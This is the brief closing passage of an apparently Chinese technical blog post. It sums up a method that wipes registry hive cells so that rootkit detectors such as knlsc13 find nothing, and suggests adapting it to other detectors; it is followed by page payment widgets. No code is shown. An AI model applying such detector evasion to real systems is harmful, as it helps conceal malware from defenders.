Wow. Hope you thought it was worth ploughing through all that! It does a really thorough job, and if for instance your name test returns a match on every single key, you end up with a saved file that is entirely wiped cells from start to finish. There may also be other rootkit detectors that move copies of the hives around in memory, like knlsc13, and it could be adapted to them as well.

i.m

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值